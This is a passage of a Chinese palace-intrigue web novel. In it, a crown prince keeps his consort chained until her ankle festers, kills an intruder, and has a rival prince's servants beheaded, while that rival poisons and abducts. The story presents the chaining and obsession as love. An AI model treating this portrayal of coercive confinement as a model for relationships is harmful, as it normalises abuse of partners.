“王爷真坏,我当真以为,王爷要娶盛家小姐,就忘了我了。”
在北辰晔失踪前,他的确和盛家达成了婚事,这也是西越帝点头的。
提及盛苒,北辰晔的眼神微微闪动,下意识跳开了她的话题,搂紧了女人如蛇般的腰肢。
女人也朝着他这边靠来。
很快,狭窄的宫墙假山里,便传出一阵高过一阵的女人动静。
等最后一刻,男人粗重的喘气声发泄完后。
两人这才一边整理衣服,一边从假山里走出。
“王爷真坏。”女人说着,眼中却犹带着不满足。
怎会满足呢。
帝王再英俊霸气,但到底是比不过健硕的年轻男子,给她带来的充盈感。
“马上天亮了,娘娘还是注意些吧。”北辰晔眼底的欲色退去,已经被往日的冷漠替代,再看去身边朝着自己身上贴来的女人时,眼底还划过一丝嫌恶。
但这些情绪,都被他掩饰的极好。
他还是环住了她,探进她前胸衣襟下狠捏一把的同时,已经把手中的瓷瓶留在了她的身上:“好了,本王下次早些来。等本王继承大统,娘娘便是我的第一大功臣,皇后之位,非你莫属。”
女人眼含讥诮的收下瓷瓶,满目带着期许:“王爷可不能骗人家。”
“那是当然。”
两人隔着衣衫又是好一番的拨弄缠绵,等到天色逐渐放亮,才消失在了宫道上。
只剩下那假山里的一片男人污秽。
自打那日太子安然归来,宫里原本陡转的风向,又变了。
夜王虽然宅心仁厚,又礼贤下士,无论能力还是名声,都最适合继承大统。
但拗不过太子才是皇帝的心中宝。
朝堂上的年轻臣子们,都十分不解,帝王为何那么偏心,独独宠爱太子一人。
听说当初太子的母后,姝元先皇后,不过是个在外面,凭空出现,被帝王看中后带回宫的女子而已。既没有支持的母家,还早就过世了。
太子何德何能,能让帝王这样重视和庇佑。
可没有人能给出答案,因为连如今在朝堂上的诸多老臣,都未曾见过那位先皇后的尊容,更不知她有什么来历。
不过说起来,夜王这次虽然上位不成,但他也没有对太子回宫的事有什么大的反应,还很主动把之前掌控的大权让出手,这让那些臣子,更对夜王高看了几分。
日子就这样一天天过去。
皇帝因为太子归来,身子逐渐恢复,已经重新开始执掌朝政。
一切好像都在朝着好的风向发展。
宫里安定,太子府近日也是恢复了原本的平静。
沈木兮当真没有再闹腾,即便是那夜,见过了撕下伪装,化作疯狼的北辰景后,她也依旧乖乖巧巧。
从不会忤逆他。
这让北辰景开始怀疑,是否她真的想明白了。
历经多年,从江州、青州,再到京城。终于明白自己对她的好,和她对他无法割舍的依恋。
也让她接受了,她注定是独属于他的这个事实。
“阿兮,再吃一口好不好?”
沉寂的纱帘后。
响起男人低沉又几分幽怨的声音。
沈木兮软在他的腹下,嘴角还沾着东西,摇着头:“我吃不下了。”
帘子一掀,北辰景放下了勺子,将碗放置在了桌上。
他抬手,擦着她嘴角边的蚕豆汤汁。
“好,吃不下就不吃了。”
沈木兮爬下床,准备要去洗净一番身上的污秽,方才被北辰景喂的急,汤汁洒了满衣襟。
她似乎已经习惯了在这主院里,这种被他“拴着”的日子。
把这里当成了她的家。
是以北辰景没有去阻止她自主的动作。
可刚一落地,沈木兮的双腿就像是失去了所有力气,直接瘫软在了地上。
还伴随着一声女子闷哼。
北辰景脸色一变,当即上前捞起她。
“怎么了?”
沈木兮疼得颤抖,唇瓣苍白,满头是汗,几乎是说不出话。
北辰景这才看到,那被铁链拴着的足踝处,已经被勒出了深深的血痕。
可昨日都还没这么严重。
北辰景覆着一层薄雾的眸子,如淬了寒冰,阴鸷的瞳孔幽深不见底,俯瞰审视着她。
可沈木兮的脸上看不出一丝异样,只是被疼到窒息的难受。
她靠在他的怀里,疼得倒吸气。
“好疼,我好疼……”
知道
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她不是装的,北辰景神色稍缓,眉心微凝。
“乖,别怕,我把铁链给你取下。”
这一取才发现,那铁链居然和她的皮肤黏在了一起。
取下的瞬间,还扯下了不少的皮肉!
甚至有一处地方,已经流出了脓水。
这是怎么回事?
北辰景为了不让沈木兮再跑走,的确做的过了些,这铁链便是为她量身打造的,和她的足踝镶嵌的严丝合缝。
可当真是因为如此吗?
他的阴戾的眼神里多了些狐疑。
“啊……”沈木兮痛快的大叫,浑身颤抖,很快就疼得晕了过去。
北辰景神色陡变,抱着身子已经开始发烫的沈木兮,大步走出了这个囚禁了她多日的牢笼。
“来人!来人!”
离阙等人闻声前来,看到沈木兮的样子时,也都被吓坏了。
不仅仅是因为她那惨不忍睹的足踝,还因为,在日光下,沈木兮脸上的死白和容颜的憔悴。
虽然北辰景每日都有好好照顾她,也给她喂了不少将养身子的东西,但她依旧憔悴枯槁。
离阙和清鸢不敢多看,准备命人去请太医,走了一半才想起。
“可是太子,好像今日傅太医休沐,不在宫中。”
“要不要,属下去他府中请人?”
宫中的太医,除了傅太医都不可轻信。
况且,现在太子也不想太子妃出去太过抛头露面。
北辰景眼中涌出一片狠戾暗涌:“准备马车!”
“是。”
离阙等人赶紧去了。
傅太医的府邸太远,赶过去怕是来不及,北辰景直接把沈木兮带到了离太子府较近的药铺。
他是不想让旁人看到沈木兮。
但那不过区区药铺里的几个人而已,事后让人看不见的法子多的是。
为了她,让人永远闭嘴,他也不介意。
把沈木兮亲自带到了一家药铺,老大夫被沈木兮死白的脸吓了一跳,再抬头看去那抱着她满脸阴骇鬼气的男人,更是被惊得打了个哆嗦。
“来,先把病人放在里屋榻上。”
“还请这位公子,先去外面等着。容我给她好好检查一番。”
北辰景幽深的眼紧盯住她,没有动。
没想到这老大夫也是个暴脾气:“公子,你若在这耽搁时间,她若有什么不测,那天王老子来了,也没办法。”
第137章 本王会替太子疼惜你
旁边的离阙低声说:“殿下,还是出去吧,太子妃现在的状况,十分不好,得给大夫一点空间。”
北辰景看着即便晕厥过去,也因为难受,而止不住闷哼嘤咛的她,狠戾眼中的色泽渐退。
他像是变成了曾经的样子,眼尾勾着幽怨湿红,如一头无法与主人分离的小狼崽,一步三回头,依依不舍地出去了。
帘子落下,再抬头时,他眼神已经恢复冰冷傲然,沉声命令。
“守住这间药铺。”
“是,殿下。”
北辰景坐在药铺里,身后便是只隔了一层纱幔的里屋床榻。
离阙和清鸢则是抱剑立在门外。
一切都看起来,没有任何异样。
直到半晌后,老大夫从里面走了出来。
北辰景连忙上前:“如何了。”
老大夫见他居然一直杵在帘子外,皱眉道:“哎呀,你别挡路,老夫才把伤口处理了,不过因为感染,她的情况很危险,都让开!”
看着老大夫去拿银针和各种药材,在里屋中忙前忙活。
北辰景登时呆住了,眼中的阴戾鬼气被浓浓的恐慌取代。
她,真的被他弄伤了吗。
北辰景望着里屋的方向,幽怨又自责,他攥紧双手,力道过大,掌心血肉里瞬间溢出阵阵鲜红。
可他好似根本不疼,反而是舒坦的笑了,眼神委屈可怜的望着里面,由着手中鲜血滴落。
好像是在陪着她流血难受。
他弄伤了她,他真该死。
等她醒来,他会让她亲自把那镣铐给他戴上,然后跪伏在她身前,任由让她拿着鞭子抽打。
只要她消气。
药铺里乱如一锅粥的同时,外面,突然传来一阵吵闹声。
北辰景没有抬眸,此刻超乎她以外的事,他根本不会放在心上,也不会去理会。
守在门外的离阙已经抬头看去。
原来是几个来药铺**的百姓。
“就是这家药铺,前几日卖的药,把我家宝儿治残了!”
“大家伙快来看看啊!”
那百姓一来就坐在地上撒泼。
药铺的伙计已经出去调解了,可止不住那百姓的持续闹腾。
离阙和清鸢担心吵到太子和被救治的太子妃,眼看着外面的两方人闹成一团,对视一眼后,离阙先出去清理外面的骚乱。
而与此同时,药铺后院,传来了一阵偷偷摸摸的脚步声。
很轻,却还是被北辰景给捕捉到了。
他暗冷的眸光中,划过诡异幽光。
下一刻,清鸢已经飞身而出,把那个鬼祟之人,带到了北辰景的跟前。
“你是谁。”
他挑眉好奇的问,甚至是带笑的。
可眼神里的鬼气阴森,却能瞬间吞噬掉人。
他也只是问,根本不给那人回答的机会,手抚上对方的后颈,脖子咔嚓,人已经直接一命呜呼。
“对不起,我也不想杀了你。你这么脏,弄脏了我,她会嫌弃的。”
何况惊扰了她,就该死。
余光瞥着此人腰间的夜王府腰牌,北辰景一边擦拭手上脏污,已经踩过那腰牌,做了个把尸体处理掉的手势。
从**,到转身坐下,不过是一瞬的功夫。
眨眼间罢了。
北辰景再看去帘子后,依旧忙前忙后的大夫,和床上隐隐可见的人影,心中稍安,继续等候。
等了许久,外面的乱子逐渐停息。
老大夫也从里面走了出来,擦着头上的汗:“好了,她已经没大碍了。”
北辰景闻声,几乎是瞬间来到了榻边,握住她的手,
离阙和清鸢也跟着走了进来。
床上的人脸色已经恢复了些,但双眸紧闭,还是在昏睡中。
离阙松口气,小心翼翼对跟前的人说:“殿下,这下您可放心了。”
清鸢也道。
“是啊殿下,属下这就出去准备马车。”
可刚动作的二人,这才发现,北辰景居然一动不动。
怎么了?
两人转头看来,才发现北辰景眼神十分幽暗,突然伸出手,狠戾地掐住了床上之人的脖子。
离阙和清鸢都被吓坏了!
“殿下,您这是……!”
北辰景长身而起,居高临下,眼神狠戾!
“你是谁,你不是她。”
什么?这居然不是太子妃!
北辰景歪着头,红唇一扯,眼神里都是残忍莫测的凶光,手中力道加大。
还装晕的对方,当即忍不住咳了出来!
“太子殿下,饶命啊!”
这果真不是沈木兮的声音。
“离阙!追!”
反应过来的离阙,当即飞身追了出去!
北辰景怎会认不出她呢。
他熟悉她的一切,从呼吸……到那些年在江州,他坐靠在她床头,陪她睡熟后,所数的每一根头发丝!
这个女人,虽然身量和她很像,易容术也是超绝。
但绝对不是她!
北辰晔……!
北辰景丢开那女人,随着人砸向柜子的骨头碎响,他已经甩袍转身大步离去!
抬起的冷眼中,是大片大片的嗜血戾色!
“去,夜王府!”
于此时,另一边街道上的马车里。
被喂药后苏醒的沈木兮,看着面前的久违的熟人,憔悴的眸光冷冷的。
北辰晔端坐笑看着她,眼神打量着她周身的狼狈,最后眸光落在她脚踝处的伤上,意味深长地笑了。
“
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看来最近你在太子身边,不好过吧。”
“也是,他那样阴森的一个人,怎会好相处呢。”
沈木兮的眼神漠然,依旧不搭理他。
北辰晔也没有恼怒,故作长叹一口气:“为了把你弄走,本王这次可真是煞费苦心啊。”
的确,沈木兮也意外北辰晔能在北辰景那钻了空子。
但想想也是,北辰晔才是原文男主,现在虽然剧情被打乱,但因为原作者给他的主角光芒,得了好也不奇怪。
“不过,值得。”北辰晔抬手,似是要捏住沈木兮的下巴,想仔细看看这个女人,到底有什么样的魔力,居然能成为北辰景的软肋。
却被沈木兮给甩开了。
“拿走你的脏手,你抓了我也没用。他可比你厉害。而你,永远,永远都对付不了他!”
若非是原作者的光芒加持,就北辰晔这德行,能活几集都不知道!
北辰晔眼神周骤冷,收手冷静下后,整理了一下衣着,眼中带着如常的虚伪和善笑意,啧啧说:“看看你在他身边,被折磨成了什么样子吧。”
北辰晔也是被北辰景囚禁过的人,一看沈木兮身上的伤,便已经猜到了大概。
“都当你是牲畜的人了,你还维护他?不觉得有些可笑吗?”
“还有,你忘了,在青州,他对你和你身边人做的一切?他可是骗了你啊,当你如傻子一样的捉弄。”
沈木兮脸色微微发白,却依旧是冷若冰霜的说:“那是我和他的事,即便我和他至此是敌人,也仅仅是我和他而已。和你有狗屁关系!”
她还朝他吐了口唾沫星子,讥笑道。
“倒是你,永远在见不得光的地方,做着最脏污不堪的勾当!”
“别人都以为,当今太子是最阴暗的那一个。可在我看来,你才是最恶臭的毒虫!”
北辰景再阴湿可怕,心机城府再深,可在沈木兮的眼中,也比眼前这只活在别人阴影下的毒虫好!
若是她没猜错,北辰景在京中的恶毒名声,都有这个人的加持吧!北辰晔做的事,也肯定不止这一点半点。
沈木兮知道他抓自己的原因,也晓得他是不会伤自己。既然如此,委屈了身子,还能委屈了这张嘴?
她这话彻底把北辰晔给激怒了,他被挑衅的脸色彻底暗沉,但很快,又笑了。
“可你不也打算着,要偷偷的离开他,不是吗?”
他眼神讽刺,带着深意的落在了沈木兮足踝的伤上。
沈木兮足踝一缩,眸光顿时变了,双唇微抿。
北辰晔坐直身子:“好了,不争论了。你可是本王现在的手中至宝,放心,本王,会替太子好好照顾你的……”
一定会。
第138章 **全府,太子要人!
太子带着人杀去夜王府之时,已经是一炷香后了。
北辰景的速度比北辰晔想象中的更快!
夜王府这边都还没准备妥当,就迎上了“发疯”的太子。
府中人个个神色惊慌,脸色大变,跪伏在这道可怕的黑影跟前!
北辰景负手站在夜王府门前,微微仰着下巴,双眼微阖,冷漠审视着跪了一地的夜王府人,眼尾处的湿红雾气,已经悄然变成了残忍妖冶的狠戾殷红。
“杀了。”
轻飘飘的话语丢出。
一人脑袋,顿时滚落在地!
惊得四周其他人更是瑟瑟发抖。
“太子!王爷不在府,我们这些奴才,什么也不知道啊!”夜王府的管家战战兢兢地说。
北辰景知道他不在,既带走了人,他怎会又回到这里呢?
他仰头,语调带笑,阴气幽幽。
“是啊,夜王不在啊,那孤只能拿你们出气了。”
他睁开幽眸,声音陡然变得森冷。
“夜王不出现,那就一直杀,直到他肯来为止。”
“是!太子!”
随着一刀刀落下,夜王府里已经是血流成河。
偏偏北辰景还提前清理了夜王府四周街道上的百姓,即便夜王的人想故技重施,再想拿太子的恶毒名声**,今日也是行不通的。
离阙看着一颗颗滚落下来的人头,皱眉看去眼神阴冷,享受着那刀刃划过血肉声音的北辰景。
“可是太子,万一,夜王始终不肯出现呢?”
夜王也是个狠人,不见得不会舍弃这些人的性命。
北辰景扬眉:“谁说孤是来等他的。”
他踩着满地的鲜红,如无人之地,朝着夜王府的主院去了。
夜王府里藏着的东西,可不少呢。
之前没机会来光明正大的搜过。今日是夜王给他的面子,他怎能不要?
太子在夜王府大肆**之时,另一人出现在了宫中。
正是北辰景等候已久的夜王北辰晔。
因为夜王府的消息被北辰景刻意封锁,是以此刻还没有传到宫中。
北辰晔一来就在长跪在景和宫外。
直到西越帝从御书房忙完了回来,才看到他:“晔儿?你怎么来了,脸色这么不好,出何事了?”
北辰晔神色惊惶又苍白,眼神里还带着惊惧之色,额前大汗淋漓。
“父皇!儿臣……”他欲言又止,显然是不敢在这妄言!却又的确有什么不得了的急事!
北寅焱锐利的眸子眯起,很快把北辰晔带进了景和宫。
四下无人,这才听北辰晔说起,今日太子不知怎么了,突然在他的府邸里发难,还**了他府中不少人!
此刻的夜王府,已经是遍地尸骸!
还真是夜王,算计颇深,这就开始主动出击了。
“太子?”北寅焱神色肃然,坐直了身子,第一个反应是不信的,“你此话可当真?”
虽然北寅焱知道,这绝对是太子做得出来的事。
可帝王这明目张胆的偏袒,北辰晔怎会看不出来?
北辰晔身子一凛,顺着他的话说:“父皇,儿臣也相信太子不是故意的,定是发生了什么误会。只是现在,儿臣实在不敢再回府了……”
北寅焱眉心紧蹙,知道北辰晔不会拿这样的事来撒谎,许是真有此事:“来人,把太子给朕带来!”
不过帝王并不想将此事闹大,只派了自己的禁卫军心腹私下去了。
只是才刚出了景和宫,太子却是自己进了宫。
“太子到——”
唱报声落,整个景和宫里,陷入诡异的沉静。
北辰晔眼底闪过一丝古怪的异样,觉得北辰景这么快进宫,实在有些突兀和怪异。
心中也隐隐有一种不好的预感。
但他还是维持着方才那副满脸惊恐,又畏惧眼前人的样子,站在帝王身侧。
北寅焱看着自己来的太子,眉心微微蹙起,又看了眼北辰晔的方向,还是出声问了句:
“太子,你今日可去夜王府了?”
玄色长袍拢过地上的金砖,北辰景已经长身来到了殿中。
他站在琉璃灯下,妖冶冷艳的脸似笑非笑,像是听到了一个从未听过的笑话,挑眉说:“孤今日一直未出门,何时去了夜王府?不会是夜王还没睡醒吧。”
这是否认了。
北辰晔脸色发白,掀袍跪在北辰景跟前:“太子,不知我如何得罪了你,竟让太子这样容不下我?在这我向太子道个不是,但还请太子饶恕了无辜之人!”
北辰景扯唇,没说话。
北寅焱看着两人,也没有出声。
直到他派去夜王府的禁卫军回来了。
那禁卫军神色古怪,先是看了眼夜王,而后在北寅焱跟前说:“陛下,夜王府里什么异样都没有。”
没有——
北辰晔眼底划过异色!陡然看去眼前笑意颇深的男子,心中一沉,骤然攥拳。
北辰景唇边的笑愈发的大,妖冶的面庞映着琉璃灯,像是一道道在他脸上跳跃的鬼火:“原来什么也没有啊?现在夜王怎么说?”
“现在倒是孤想问一句,夜王为何容不下孤了?这么大的一个罪名,夜王你也是敢呐。”
知道府中的一切,已经被北辰景清理干净,肯定是一点脏污都没有留
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下!
北辰晔今日没有达到目的,反而是被太子倒打一耙,心中狠得牙痒痒。
但依旧只能保持微笑,很是抱歉地说:“定是底下的人消息传错了,是我误会太子了。”
北辰晔又跪向西越帝。
“父皇,是儿臣误会了太子,还请父皇责罚!”
北寅焱看着自己的两个儿子,最后双眸微阖,沉声说:“行了,既然没有闹大,就算了。只是夜王,下次别再听风就是雨。”
“太子,你留下。”
北寅焱哪里不知这到底是怎么回事,给夜王一百个胆子,也不敢拿这样的事来诬告。
怕是太子那边处理好了一切。
他心中叹气,许是心绪繁重,北寅焱突然轻轻咳嗽了起来。
不过咳嗽声很细微,说完就转身进了内殿,是以并没被人多加注意。
这边的北辰晔已经应声退下,路过北辰景身侧时,两人的眸光交汇。
在身后西越帝看不到的角度,北辰晔的眼神瞬间冷了下来。
北辰景则是带着一股沉静的疯感,挑眉对他笑着,如恶鬼低语:
“夜王胆子是很大。不过,她若是出半点差池,孤一定会千倍百倍……一点一点的还给夜王呢。”
北辰晔眯眼说:“不知太子在说什么,我怎么听不懂呢。”
“或许,有没有可能,是太子把人家折磨疯了。人家姑娘忍不住了,便自己逃了?”
北辰景眸中笑意加深,似一点也没有因为北辰晔的这番话被激到。
因为在他看来,她是永远不会离开他的。
她想逃,也只会是因为,她还没意识到,她离不开他的这个事实。
北辰景轻微负手俯身,用两个人才能听到的声音,凑到夜王耳边,红唇轻勾,又低声对他说了句什么。
北辰晔脸色陡变。
他怎么知道,他私下在打造……!
该死!府中藏着的东西,不会是被他给……!
北辰景狭长眼神勾人的紧,像是个男狐狸,妖冶的不像凡物,可眼里的狠戾阴湿,却更像是个缠着你到死的可怕厉鬼。
还在轻挑眉,朝北辰晔挑衅地笑着。
“如何交易,夜王自己权衡。三日内,我要见她的人,不然,下一次。”
他如玉指尖轻点了点北辰晔的脖子,扬眉轻笑。
“父皇还在内殿等着孤,就不在这陪夜王说话了。”
他的肩头狠厉地撞开了北辰晔,携着满眼的幽冷暗光,大步去了。
全然没看到,北辰晔见他进入内殿时,垂下的眼帘内,所闪过更诡异的毒光。
人?怕是只剩下一具尸体了吧。